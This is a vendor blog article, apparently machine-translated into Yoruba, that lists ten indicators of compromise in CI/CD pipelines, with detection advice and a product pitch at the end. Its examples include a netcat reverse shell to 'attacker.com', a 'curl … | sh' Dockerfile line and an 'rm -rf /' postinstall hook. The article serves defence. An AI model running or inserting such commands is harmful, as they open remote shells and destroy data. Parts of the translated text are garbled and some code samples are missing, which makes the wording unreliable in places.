Àwọn Àmì 10 Tó Ga Jùlọ Nínú Ìbámu CI/CD Pipelines

Ìṣáájú: Kí ni Àwọn Àmì Ìbáṣepọ̀ Nínú Ààbò Ìkànnì ayélujára?

Àwọn àmì ìkìlọ̀ àkọ́kọ́ tí ó fi hàn pé ètò rẹ tàbí pipeline Ó lè wà lábẹ́ ìkọlù. Ní ọ̀rọ̀ kúkúrú, awọn afihan ti adehun Àwọn àmì tí àwọn ọ̀tá fi sílẹ̀ ni, bí ohun àjèjì logins, awọn ayipada faili, tabi malware ti a fi pamọ. Ninu Aabo aabo ayelujara ti IOCWọ́n ń ṣe bí ìka ọwọ́ ní ibi tí ìwà ọ̀daràn ti ṣẹlẹ̀, èyí sì ń fún ọ ní ẹ̀rí tó ṣe kedere pé ohun kan kò tọ́. Nítorí náà, nígbà tí àwọn olùgbékalẹ̀ bá béèrè Kí ni àwọn àmì ìfọwọ́sowọ́pọ̀, ìdáhùn náà kò mọ sí àwọn olupin tàbí àwọn ibi ìfọṣọ iná nìkan, ó tún ní àwọn ewu tí a fi pamọ́ ní òde òní nínú CI/CD pipelines.

Ni wọnyi pipelines, àwọn olùkọlù lè yí koodu padà, fi àwọn ìgbẹ́kẹ̀lé búburú sí i, tàbí yí àwọn ìgbésẹ̀ ìkọ́lé padà láìsí àkíyèsí. Síbẹ̀síbẹ̀, ọ̀pọ̀lọpọ̀ àwọn ìtọ́sọ́nà ṣì ń dojúkọ àwọn olupin tàbí àwọn nẹ́tíwọ́ọ̀kì nìkan. Nítorí náà, ẹ̀wọ̀n ìpèsè sọ́fítíwọ́ọ̀kì ti di ọ̀kan lára ​​àwọn ibi tí ó rọrùn jùlọ.

Ìdí nìyí tí a fi ń rí àwọn àmì ìfọkànsìn nínú CI/CD pipelines ṣe pàtàkì. Ju gbogbo rẹ̀ lọ, ó ń ran àwọn ẹgbẹ́ lọ́wọ́ láti dènà malware, láti dáàbò bo àṣírí, àti láti dáàbò bo gbogbo ìgbésẹ̀ ìfijiṣẹ́ software.

Àwọn Àmì 10 Tó Ga Jùlọ Nínú Ìbámu CI/CD Pipelines

Nígbà tí a bá ń ṣàlàyé àwọn àmì ìṣọ̀kan, ọ̀pọ̀lọpọ̀ àwọn àkójọ máa ń dojúkọ àwọn olupin tàbí àwọn nẹ́tíwọ́ọ̀kì. CI/CD pipelineÀwọn olùkọlù fi àwọn ìka ọwọ́ tó yàtọ̀ síra sílẹ̀. Mímọ àwọn àmì wọ̀nyí ṣe pàtàkì fún ààbò tó lágbára. Àwọn àmì ààbò mẹ́wàá tí IOC yẹ kí ó máa ṣọ́ra fún nìyí.

1. Àwọn Ìyípadà Ìgbẹ́kẹ̀lé Tí Ó Yẹra

Ọkan ninu awọn afihan akọkọ ti adehun ninu pipelines jẹ́ àtúnṣe ìgbẹ́kẹ̀lé àìròtẹ́lẹ̀. Àwọn olùkọlù sábà máa ń lo ìgbẹ́kẹ̀lé àwọn olùgbékalẹ̀ nínú àwọn olùṣàkóso package láti fi àwọn package eléwu kún un.

Fún àpẹẹrẹ, nínú npm a package.json Iyatọ le lojiji pẹlu:

Irú àwọn àyípadà bẹ́ẹ̀ lè dàbí èyí tí kò léwu ṣùgbọ́n ó lè fi kódù trojanized sínú gbogbo ìkọ́lé.

Ipa: Àwọn ìkọ́lé tí a ti bàjẹ́ jogún malware ní orísun.

Erin: fipá mú àwọn àtúnyẹ̀wò ìgbẹ́kẹ̀lé, tọ́pasẹ̀ àwọn ìyàtọ̀ ààtò ìpamọ́, kí o sì ṣe àyẹ̀wò àwọn páálí tuntun ní gbogbo ìgbà.

2. Koodu ti a ko mọ ninu Awọn Ilé 

Àwọn òǹkọ̀wé malware gbẹ́kẹ̀lé ìfọ́mọ́ra láti borí àwọn àtúnyẹ̀wò. Nítorí náà, àmì yìí ti ìfọ́mọ́ra nínú CI/CD pipelines le jẹ ọkan ninu awọn ti o nira julọ lati mu. Ni otitọ, awọn ẹru ti o bò mọ ara wọn nigbagbogbo ma n wọ inu awọn ile-ikawe orisun ṣiṣi tabi awọn aworan apoti laisi akiyesi.

Fun apere:

  • Àpò PyPI kan tí a ń lò base64.b64decode("cHJpbnQoSGFja2VkKQ==").
  • Àwòrán Docker tí ó ní àwọn UPX binary tí kò pọndandan.
  • JavaScript ti o kun fun \x41\x42 sá àsálà láti fi àwọn olè ìwé ẹ̀rí pamọ́.

Ipa: Kóòdù tí a fi pamọ́ máa ń ṣiṣẹ́ láìsí ìdákẹ́jẹ́ẹ́ nígbà ìkọ́lé tàbí àkókò ìṣiṣẹ́, èyí tí ó mú kí èyí jẹ́ àmì pàtàkì nínú ààbò ààbò IOC.
Erin: darapọ SAST pẹ̀lú ìṣàyẹ̀wò malware láti fi àmì sí kódì tí a fi àmì sí tàbí tí a fi àkójọpọ̀ sí. Ju gbogbo rẹ̀ lọ, wo ìfọ́mọ́ra gẹ́gẹ́ bí àmì pupa tí ó yẹ kí a ṣe ìwádìí síwájú sí i.

3. Àwọn Àṣírí Tí A Fi Hàn Nínú Git: Ewu Ààbò Ìkànnì ayélujára IOC Àtijọ́

CI/CD pipelineÀwọn ènìyàn sábà máa ń jogún àṣírí tààrà láti ibi ìkópamọ́. Síbẹ̀síbẹ̀, nígbà tí àwọn àṣírí bá farahàn ní Gitwọ́n di ọ̀kan lára ​​àwọn ìdáhùn tó ṣe kedere jùlọ sí ìbéèrè náà “kí ni àwọn àmì ìforígbárí nínú pipeline“Nígbà tí àwọn ìwé ẹ̀rí bá dé Git, àwọn olùkọlù lè lo wọ́n fún ìgbà pípẹ́.

Fun apere:

  • A .env faili ti o ni AWS_SECRET_KEY=.
  • Àwọn àmì tí a gbé wọlé config.json.
  • Àwọn àṣírí ṣì hàn nínú ìtàn Git kódà lẹ́yìn ìyọkúrò rẹ̀.

Ipa: Àwọn kọ́kọ́rọ́ tí a ti ṣí payá fún àwọn olùkọlù ní àǹfààní tààrà sí CI/CD pipelines, awọn eto awọsanma, tabi awọn ibi ipamọ data. Nitorinaa eyi jẹ ọkan ninu awọn afihan ti o lewu julọ ti adehun.
Erin: lilo pre-commit hooks àti iṣẹ́ CI fún wíwo ìkọ̀kọ̀, àti yíyọ àwọn kọ́kọ́rọ́ tí ó ti yọ́ kúrò lẹ́sẹ̀kẹsẹ̀. Ní àfikún, fi agbára mú àtúnṣe aládàáṣe láti dín àwọn fèrèsé tí ó fara hàn kù.

4. Ti bàjẹ́ Pipeline Àwọn Ìṣètò: Àwọn Àmì Ìfarapamọ́ ti Ìbámu

Pipeline awọn atunto jẹ awọn ibi-afẹde iye giga nitori Àtúnṣe kan ṣoṣo sábà máa ń gbé gbogbo ìṣiṣẹ́ náà mìNítorí náà, a ti bàjẹ́ pipeline Àwọn fáìlì jẹ́ ewu ààbò ààbò pàtàkì ti IOC tí àwọn irinṣẹ́ ìṣàyẹ̀wò ìbílẹ̀ kìí sábà rí.

Fun apere:

  • Nínú Àwọn Ìṣe GitHub:

  • Nínú GitLab: iṣẹ́ búburú kan tí a fi kún .gitlab-ci.yml tí ó ń da àwọn ìwífún tí ó ṣe pàtàkì nù.
  • Nínú Jenkins: sh "nc -e /bin/bash attacker.com 4444".

Ipa: Àwọn àtúnṣe tí a kò fọwọ́ sí yìí yí padà sí ọ pipeline sí ilẹ̀kùn ẹ̀yìn fún àwọn agbéraga títí láé, èyí tí ó hàn gbangba gẹ́gẹ́ bí àmì ìfọwọ́sowọ́pọ̀.
Erin: Ṣe àgbékalẹ̀ àwọn ìṣètò tí a fọwọ́ sí, nílò ìfọwọ́sowọ́pọ̀ PR, kí o sì ṣe àbójútó fún àwọn iṣẹ́ tí a kò retí. Ní àfikún, ṣètò guardrails tí ó ń dènà àwọn iṣẹ́ ìṣiṣẹ́ tí a yípadà láìfọwọ́sowọ́pọ̀.

5. Ànfàní IaC Awọn aseku 

Àwọn ìtumọ̀ ètò ìṣiṣẹ́ tí kò tọ́ sábà máa ń ṣẹ̀dá àwọn ìlẹ̀kùn ẹ̀yìn tí a fi pamọ́. Nítorí náà, àwọn àìṣedéédé àǹfààní ní IaC jẹ́ ewu ààbò ààbò ti IOC.

Fun apere:

  • Ìgbékalẹ̀ Kubernetes tí ó fúnni ní àwọn ẹ̀rọ ìfiránṣẹ́ privileged: true.
  • Àwọn àtẹ ìbòrí tí ń ṣàfihàn àwọn iṣẹ́ pẹ̀lú 0.0.0.0:22.

Ipa: Àwọn olùkọlù máa ń rí ìwọ̀lé sí ìpele gbòǹgbò tàbí kí wọ́n máa fi àwọn iṣẹ́ inú hàn gbangba. Nítorí náà, àwọn ìṣòro wọ̀nyí máa ń fẹ̀ sí i ní gbangba.
Erin: waye IaC Ṣíṣàyẹ̀wò láti fi agbára mú àǹfààní tó kéré jùlọ kí ó tó di pé a dapọ̀. Ní àfikún, rí i dájú pé a ṣe àtúnyẹ̀wò gbogbo ìṣètò gẹ́gẹ́ bí apá kan pipeline.

6. Àwọn Ìwà Ìkọ́lé Àìdára 

Àwọn olùkọlù sábà máa ń yípadà pipeline Ìwà láti yọ́ sínú àwọn ìwà ibi. Ní ọ̀rọ̀ mìíràn, ìgbòkègbodò ìkọ́lé tí kò wọ́pọ̀ jẹ́ ọ̀kan lára ​​àwọn ìdáhùn tí ó ṣe kedere jùlọ sí àwọn àmì ìforígbárí nínú CI/CD pipelines.

Fun apere:

  • Àwọn ilé ń ṣe àwọn ìbéèrè nẹ́tíwọ́ọ̀kì tí ń jáde lọ sí àwọn agbègbè àjèjì.
  • Iṣẹ́ akanṣe Node.js kan lojiji ti o tan PowerShell silẹ lakoko npm install.
  • Iṣẹ́ CI kan tí a ń gbà láti gba àwọn onípele méjì ńlá tí a kò ṣàlàyé nínú àwọn ìwé ìkọ̀wé ìkọ́lé.

Ipa: Àwọn ìkọ́lé tí ó bá ti bàjẹ́ lè ṣiṣẹ́ gẹ́gẹ́ bí ibi tí a ti ń pín malware. Ju gbogbo rẹ̀ lọ, wọ́n ń tan àwọn ẹrù ìnira káàkiri gbogbo ìgbésẹ̀.
Erin: Ṣe àbójútó àkọsílẹ̀ ìkọ́lé fún àwọn iṣẹ́ tàbí àwọn ìsopọ̀ tí a kò retí. Jù bẹ́ẹ̀ lọ, ṣe àtúnṣe ìwádìí àìṣedéédé láti ṣàfihàn àwọn ìwà tí ó yàtọ̀ sí ti ìbílẹ̀.

7. Àwọn Ìwé Àkọsílẹ̀ Ìwà-ibi-ìkà gẹ́gẹ́ bí Ewu Ààbò Ìkànnì ayélujára IOC

Awọn alakoso package ṣe atilẹyin fun igbesi aye igbesi aye hooks tí àwọn olùkọlù ń lò. Nítorí náà, àwọn ìwé ìkọ̀we búburú nínú npm, PyPI, tàbí Dockerfiles jẹ́ àmì tó lágbára láti fi hàn pé wọ́n ní ìṣọ̀kan.

Fun apere:

  • npm: postinstall ìwé ìkọ̀wé ń ṣiṣẹ́ rm -rf / tàbí fífi àmì sí C2 kan.
  • PyPI: setup.py ṣiṣe koodu Python ti a fi pamọ nigbati o ba fi sori ẹrọ.
  • Fáìlì Dókítà: RUN curl attacker.sh | sh.

Ipa: Ìkọlù náà máa ń wáyé nígbà tí a bá ń fi sori ẹrọ, kí ó tó di pé a ṣe àyẹ̀wò àkókò ìṣiṣẹ́. Nítorí náà, àwọn olùgbékalẹ̀ lè má kíyèsí títí tí ó fi pẹ́ jù.
Erin: Ṣàyẹ̀wò àkójọpọ̀ náà hàn fún àwọn ìwé ìkọ̀wé ìfisílẹ̀. Ní àfikún, dín ewu kù. hooks in CI/CD awọn iṣẹ lati dinku ifihan.

8. Àwọn Àmì Ìforúkọsílẹ̀ fún Ìforúkọsílẹ̀ fún Ìforúkọsílẹ̀

Àwọn olùkọlù máa ń pààrọ̀ tàbí wọ́n máa ń ṣàtúnṣe àwọn ohun ìṣẹ̀ǹbáyé nínú àwọn ilé ìforúkọsílẹ̀, àwọn ìṣẹ̀lẹ̀ wọ̀nyí sì jẹ́ àpẹẹrẹ ìwé àkójọpọ̀ ohun tí ó ń fi hàn pé àwọn ènìyàn kò gbàgbọ́ nínú ẹ̀ka ìpèsè. pipelines.

Fun apere:

  • Àmì àwòrán Docker kan tí a fi ìkọ̀kọ̀ ṣe àtúnṣe rẹ̀ láìsí ariwo pẹ̀lú ìpele trojanized kan.
  • Àpò inú kan tí a fi ẹ̀yà tí a ti fi oògùn pa rọ́pò.
  • npm namespace squatting, bíi lodash-proxy.

Ipa: Gbogbo ìkọ́lé tí ó bá lo ohun ìṣẹ̀dá ìforúkọsílẹ̀ ni a máa ń bàjẹ́. Kì í ṣe ìyẹn nìkan, àdéhùn náà sì tàn kálẹ̀ dé àwọn iṣẹ́ ìṣàlẹ̀.
Erin: Fi agbára mú kí àwọn àyẹ̀wò ìfọwọ́sowọ́pọ̀ àti ìwà rere wà lórí gbogbo àwọn ìfàṣẹsí ìforúkọsílẹ̀. Ní àfikún, tọpasẹ̀ ìpilẹ̀ṣẹ̀ ohun èlò pẹ̀lú SBOM afọwọsi.

9. Ìgbòkègbodò Olùlò Àìdára gẹ́gẹ́ bí Ẹ̀rí IOC

Àwọn àkọsílẹ̀ tí ó ti bàjẹ́ sábà máa ń fi àwọn àmì àìdáa sílẹ̀. Nítorí náà, ìwà àwọn olùgbékalẹ̀ tí kò wọ́pọ̀ jẹ́ àmì tó lágbára ti ìforígbárí.

Fun apere:

  • Commits ti a ti tẹ ni agogo mẹta owurọ akoko agbegbe.
  • Ìfọwọ́sowọ́pọ̀ PR nípasẹ̀ àwọn àkọọ́lẹ̀ nígbà ìsinmi.
  • Pipelines ti a fa pẹlu igbohunsafẹfẹ ti ko wọpọ.

Ipa: Àwọn olùkọlù ń lo àwọn ìwé ẹ̀rí tí wọ́n jí láti fi àwọn àyípadà búburú sí i. Ó ṣe tán, a kò gbà láṣẹ. commits dapọ ni irọrun sinu awọn iṣiṣẹ deede.
Erin: atẹle SCM iṣẹ́ fún àwọn àìdáa, fipá mú MFA ṣiṣẹ́, kí o sì máa yí àwọn àmì padà déédéé. Ní àfikún, kìlọ̀ fún àwọn tí ó fura sí i. commit tabi awọn apẹẹrẹ ifọwọsi.

10. Àyẹ̀wò Ìwà-títọ́ tàbí Ìfọwọ́sowọ́pọ̀ tí ó kùnà nínú ààbò ìkànnì ayélujára IOC

Ohun tí ó wọ́pọ̀ ṣùgbọ́n tí a kò kà sí Atọka ti adehun jẹ́ àyẹ̀wò ìdúróṣinṣin tàbí ìfọwọ́sowọ́pọ̀ tí ó kùnà. Nínú ààbò ààbò IOC, àwọn àyẹ̀wò wọ̀nyí ń fìdí rẹ̀ múlẹ̀ pé kódì tàbí àwọn ohun ìṣẹ̀ǹbáyé jẹ́ òótọ́. Fífo wọ́n sílẹ̀ ní ojú ìwé pipelines fara han.

apere:

  • Hash SHA256 kan kò bá àyẹ̀wò tí a retí mu.
  • Ibuwọlu GPG ti o sọnù tabi ti ko tọ.
  • An SBOM tí ó ń fi àwọn ohun èlò tí kò ní àmì hàn.

Ipa: Àìlera ìwà títọ́ sábà máa ń túmọ̀ sí ìfọ́mọ́, ìfọ́mọ́ ìforúkọsílẹ̀, tàbí ìfúnpọ̀ malware.

Erin: Ṣe àyẹ̀wò ìfọwọ́sowọ́pọ̀ aládàáni, fi agbára mú ìfọwọ́sowọ́pọ̀ ìforúkọsílẹ̀ ṣẹ, kí o sì dí àwọn ẹ̀yà tí kò ní ìfọwọ́sowọ́pọ̀. Ju gbogbo rẹ̀ lọ, wo gbogbo àyẹ̀wò tí ó kùnà gẹ́gẹ́ bí ẹ̀rí tí ó ṣe kedere pé ó jẹ́ àdéhùn.

CI/CD Àwọn Àmì Ìbáramu Ní Àwòrán Díẹ̀

Àmì Ìbámu (IOC) Ipa ninu CI/CD Pipelines Bawo ni lati Wa
Àwọn Àyípadà Ìgbẹ́kẹ̀lé Àwọn Aláìléwu Àwọn olùkọlù máa ń fi àwọn ibi ìkópamọ́ ìkà sínú àwọn olùṣàkóso àkójọ, èyí sì máa ń yọrí sí àwọn ìkọ́lé tí wọ́n ti bàjẹ́. Tẹ̀lé ìyàtọ̀ lockfile, fi agbára mú àwọn àtúnyẹ̀wò ìgbẹ́kẹ̀lé, kí o sì máa ṣe àyẹ̀wò ìgbẹ́kẹ̀lé nígbà gbogbo.
Kóòdù tí a ti bò mọ́lẹ̀ nínú àwọn ìkọ́lé Àwọn ẹrù ìsanwó tí a fi pamọ́ máa ń ṣiṣẹ́ nígbà tí a bá ń kọ́ tàbí nígbà tí a bá ń ṣiṣẹ́ láìsí ìwádìí. lilo SAST àti ìwòran malware láti fi àmì sí àwọn ìlànà kódù base64, hex, tàbí àwọn ìlànà kódù tí a ti kó jọ.
Àwọn Àṣírí Tí A Fi Hàn Ní Git Àwọn àmì tí ó ti jó tàbí àwọn kọ́kọ́rọ́ API fún àwọn olùkọlù ní àǹfààní tààrà sí àwọn ètò pàtàkì. Ṣiṣẹ awọn ayẹwo ikoko ni Git hooks kí o sì fagilé àwọn ìwé ẹ̀rí tí ó ti jò láìfọwọ́sí.
Ti bajẹ Pipeline Awọn iṣeto Àwọn ìṣiṣẹ́ tí a ṣe àtúnṣe gba ìyọkúrò data tàbí ìfaradà nínú CI/CD. Béèrè fún ìfọwọ́sowọ́pọ̀ PR, fi agbára mú àwọn ìṣètò tí a fọwọ́ sí, àti àbójútó pipeline awọn ayipada.
Anfani IaC Awọn aseku Àwọn ipa tí ó jẹ́ kí ènìyàn gbàgbọ́ jù tàbí àìní ààbò máa ń fi àyíká ìkùukùu hàn. Ṣe àyẹ̀wò àwọn fáìlì Terraform, Kubernetes, àti Helm fún ìlò àwọn àǹfààní tó kéré jùlọ.
Àwọn Ìwà Ìkọ́lé Àìdára Pipelinea lo bi awọn aaye pinpin malware tabi fun gbigbe ẹgbẹ. Ṣe àyẹ̀wò àkọsílẹ̀ ìkọ́lé fún àwọn ìgbàsílẹ̀ àìròtẹ́lẹ̀, àwọn ìlànà, tàbí àwọn ìpè tí ń jáde.
Àwọn Ìwé Àkọọ́lẹ̀ Àkójọ Ìbàjẹ́ Àwọn ìwé àkọsílẹ̀ tí a fi pamọ́ ṣáájú/lẹ́yìn-fífi sori ẹrọ máa ń fa àwọn ẹrù iṣẹ́ kí ó tó di pé a ṣe àyẹ̀wò àkókò ìṣiṣẹ́. Dènà àwọn ìwé àkọsílẹ̀ npm/PyPI tí ó léwu kí o sì dín ìṣiṣẹ́ kù nínú CI/CD iṣẹ.
Ìforúkọsílẹ̀ Ìpalára Àwọn ohun ìṣẹ̀dá tí a ti fi Trojan ṣe máa ń rọ́pò àwọn àwòrán tàbí àwọn onípele méjì tí a gbẹ́kẹ̀lé nínú àwọn ìforúkọsílẹ̀. Ṣàyẹ̀wò àwọn checksum, fi agbára mú ìfọwọ́sowọ́pọ̀ ìfọwọ́sowọ́pọ̀ ṣiṣẹ́, kí o sì ṣe àyẹ̀wò àwọn ìforúkọsílẹ̀ ní kíákíá.
Ìgbòkègbodò Olùlò Àìdára Àwọn àkọọ́lẹ̀ tí ó ti bàjẹ́ ń gbé ìwà ìkà lárugẹ commits tabi okunfa pipelines. Fipá mú MFA ṣiṣẹ́, ṣe àkíyèsí commits fún àwọn àìdánilójú, àti ìtúpalẹ̀ login awọn ilana.
Àwọn Ìṣàyẹ̀wò Ìwà Títọ́ tàbí Ìfọwọ́sowọ́pọ̀ Tí Kò Bá Yẹ N tọka si koodu ti a ti bajẹ, awọn igbẹkẹle, tabi awọn aworan ti nwọle si pipeline. Ṣe àyẹ̀wò ìwà títọ́ aládàáṣe kí o sì dènà àwọn ẹ̀yà tí kò ní àmì tàbí tí kò báramu.

Ìdí Tí Ààbò Ìbánisọ̀rọ̀ Àtijọ́ IOC Fi Ń Padánù CI/CD ewu

Ọ̀pọ̀lọpọ̀ àwọn àjọ ló ti ń ṣe àkíyèsí àwọn àmì ìforígbárí lórí àwọn olupin, àwọn kọ̀ǹpútà, tàbí àwọn nẹ́tíwọ́ọ̀kì. Síbẹ̀síbẹ̀, ọ̀nà ìgbàlódé yìí sí ààbò ààbò IOC kò gbajúmọ̀. CI/CD pipelines, èyí tí ó jẹ́ ọ̀kan lára ​​àwọn ojú ìkọlù tó ṣe pàtàkì jùlọ nísinsìnyí. Ní tòótọ́, pipelineàwọn àmì ìfọ̀rọ̀wérọ̀ àrà ọ̀tọ̀ tí àwọn irinṣẹ́ ìbílẹ̀ kò lè rí hàn.

Àwọn Àmì Ìbáṣepọ̀ Nínú Ààbò Àtijọ́

Nínú ààbò ààbò ìjọ́ba IOC, àfiyèsí sábà máa ń wà lórí:

  • dani loginàdírẹ́sì IP tàbí s tí ó dámọ̀ràn àwọn ìwé ẹ̀rí tí a jí.
  • Àwọn ìyípadà fáìlì tàbí àwọn ìforukọsílẹ̀ tí ó ń fi malware hàn.
  • Ìjáde tí a kò retí tí ó tọ́ka sí ìtújáde dátà.

Àwọn wọ̀nyí ni àwọn àmì tí a mọ̀ dáadáa tí a tún tọ́pasẹ̀ wọn nínú MITER ATT & CK ilana, èyí tí ó ń ṣàfihàn ìwà àti ọgbọ́n àwọn ọ̀tá tí ó wọ́pọ̀. Àwọn wọ̀nyí jẹ́ àmì tí ó wúlò. Síbẹ̀síbẹ̀, wọ́n kan àwọn ètò ìṣiṣẹ́ tàbí àwọn nẹ́tíwọ́ọ̀kì ilé-iṣẹ́. Nítorí náà, wọ́n pàdánù ìfọwọ́sowọ́pọ̀ díẹ̀díẹ̀ tí ó ṣẹlẹ̀ ní ìbẹ̀rẹ̀ nínú ẹ̀wọ̀n ìpèsè sọ́fítíwọ́ọ̀kì.

Kí nìdí CI/CD Pipelines Ṣe Iyatọ

CI/CD pipelines jẹ́ àwọn àyíká aládàáṣe níbi tí àwọn olùgbékalẹ̀ commit Kóòdù, ìgbẹ́kẹ̀lé ìfàmọ́ra, àti ìkọ́lé ìtúsílẹ̀. Àwọn olùkọlù mọ̀ pé ìṣọ̀kan kan níbí máa ń wáyé ní gbogbo ìgbà tí wọ́n bá ń gbé e kalẹ̀. Nítorí náà, kí ni àwọn àmì ìṣọ̀kan nínú CI/CD pipelineWọ́n yàtọ̀ síra gan-an:

  • A fi ìgbẹ́kẹ̀lé búburú kún package.json tàbí requirements.txt láìsí ìṣòro.
  • Àwọn kọ́kọ́rọ́ tàbí àmì API tí a fi hàn ní Git commitÀwọn fáìlì s tàbí .env.
  • Kóòdù tí a fi sínú àwọn páálí npm tàbí PyPI.
  • Àwọn fáìlì Terraform tàbí Kubernetes pẹ̀lú àwọn àìléwu àìléwu bíi privately: true.
  • Pipeline àwọn iṣẹ́ tí a ṣe àtúnṣe láti yọ ìfọ́mọ́ra kúrò tàbí ṣí àwọn ìlẹ̀kùn ẹ̀yìn.

Àwọn àmì ìṣọ̀kan wọ̀nyí ní CI/CD wà láìsí ìfarahàn standard àwọn irinṣẹ́ ààbò.

Ààlà nínú ààbò ìkànnì ayélujára IOC

Bó tilẹ̀ jẹ́ pé ọ̀pọ̀ àwọn ẹgbẹ́ ló mọ iye àwọn àmì ìfọwọ́sowọ́pọ̀, wọ́n ṣì gbẹ́kẹ̀lé wíwá àwọn ẹ̀rọ ìpèsè àti àkọsílẹ̀ nẹ́tíwọ́ọ̀kì nìkan. Nítorí náà, àwọn olùkọlù lè pa àwọn ìkọ́lé tàbí fi malware sínú wọn láìfi àwọn àmì tí ó wà níbẹ̀ sílẹ̀. Ìdí nìyí tí àwọn ìṣẹ̀lẹ̀ bíi XZ Utils backdoor tàbí àwọn ìpèsè npm búburú kò fi hàn títí tí wọ́n fi dé ìṣẹ̀dá.

Iru awọn adehun pq ipese yii ni a tun ṣe afihan nipasẹ CISÌtọ́sọ́nà ààbò ẹ̀wọ̀n ìpèsè A, èyí tí ó kìlọ̀ pé àwọn olùkọlù ń fojú sí i CI/CD pipelineàwọn ìforúkọsílẹ̀ àti àwọn ìforúkọsílẹ̀.

Ọna atipo

Àṣà ààbò ààbò ti IOC àtijọ́ ṣe pàtàkì ṣùgbọ́n kò tó. Ju gbogbo rẹ̀ lọ, àwọn ẹgbẹ́ gbọ́dọ̀ mọ àwọn àmì ìforígbárí pàtó sí CI/CD pipelines. Nígbà náà ni wọ́n lè rí koodu búburú tàbí pipeline ìlòkulò kí ó tó tàn káàkiri àyíká.

àwọn irinṣẹ́ ìwádìí-àkójọpọ̀-ẹ̀rọ-sca-tools
Ṣe àfiyèsí, ṣe àtúnṣe, kí o sì dáàbò bo àwọn ewu sọ́fítíwè rẹ
Gba Akaunti Ọfẹ rẹ.
Ko si kaadi kirẹditi ti o nilo.

Ṣe aabo fun idagbasoke ati ifijiṣẹ sọfitiwia rẹ

pẹlu Xygeni Product Suite